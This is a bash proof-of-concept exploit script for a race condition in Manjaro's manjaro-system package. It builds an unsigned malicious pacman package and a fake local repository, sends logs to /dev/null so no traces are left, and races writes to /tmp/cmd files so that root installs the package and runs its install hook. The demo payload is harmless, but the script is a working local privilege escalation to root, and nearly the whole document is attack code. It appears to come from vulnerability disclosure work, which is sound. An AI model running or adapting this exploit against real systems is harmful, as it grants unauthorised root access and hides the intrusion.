manjaro-system-exploit.sh

#!/usr/bin/env bash

# In extra_fail mode, this PoC will execute arbitrary code as root.
# It will use a temporary, dummy database.
# If not in extra_fail mode, it will recurse indefinitely reinstalling manjaro-system
extra_fail=true

write_conf() {
  cat << '__EOF__'
[options]
# use packages directly from db
CacheDir = /tmp/malicious-repos/exploit
# presynced pacman library does not leave traces behind in the "local" db
DBPath = /tmp/malicious-repos/pacman-lib
# if user does not watch stdout, they'll never know
# could be specified on the cmdline or in the conf
LogFile = /dev/null

Architecture = auto
SigLevel = Never

[core]
Server = file:///tmp/malicious-repos/exploit
__EOF__
}

make_package() {
  mkdir -p /tmp/malicious-dummy
  cd /tmp/malicious-dummy
  cat > .PKGINFO << '__EOF__'
pkgname = malicious-dummy
pkgbase = malicious-dummy
pkgver = 1-1
pkgdesc = dummy package demonstrating manjaro-system exploit
url =
builddate = 0
packager = Robin Broda & Eli Schwartz
size = 1024
arch = any
__EOF__

  (cat | gzip -) > .MTREE << '__EOF__'
#mtree
/set type=file uid=0 gid=0 mode=644 time=0 size=1337 md5digest=1337 sha256digest=1337
.PKGINFO
.INSTALL
__EOF__

  cat > .INSTALL << '__EOF__'
post_install() {
  echo -e "\e[31mHello $(whoami) from the manjaro-system exploit\e[0m"
  killall pacman
}
__EOF__

  tar cvf malicious.tar .PKGINFO .MTREE .INSTALL
}

make_repo() {
  mkdir -p /tmp/malicious-repos/pacman-lib/sync
  mkdir -p /tmp/malicious-repos/exploit
  cp /tmp/malicious-dummy/malicious.tar /tmp/malicious-repos/exploit/
  cd /tmp/malicious-repos/exploit
  xz malicious.tar
  mv malicious.tar.xz malicious-dummy-1-1-any.pkg.tar.xz

  repo-add -q core.db.tar.gz malicious-dummy-1-1-any.pkg.tar.xz 2>/dev/null
  ln -sf $PWD/core.db /tmp/malicious-repos/pacman-lib/sync/core.db
}

echo ">> writing malicious config"
write_conf > /tmp/malicious-repos.conf
echo ">> building malicious package"
make_package 2>&1 > /dev/null
echo ">> building malicious repo"
make_repo 2>&1 > /dev/null

echo ">> and the race begins"
while true; do
  echo "nvidia-utils" > /tmp/cmd1
  echo "" > /tmp/cmd3
  echo "nonempty" > /tmp/cmd4
  if [[ $extra_fail = true ]]; then
    echo "malicious-dummy --config /tmp/malicious-repos.conf" > /tmp/cmd5
  else
    echo "manjaro-system" > /tmp/cmd5
  fi
done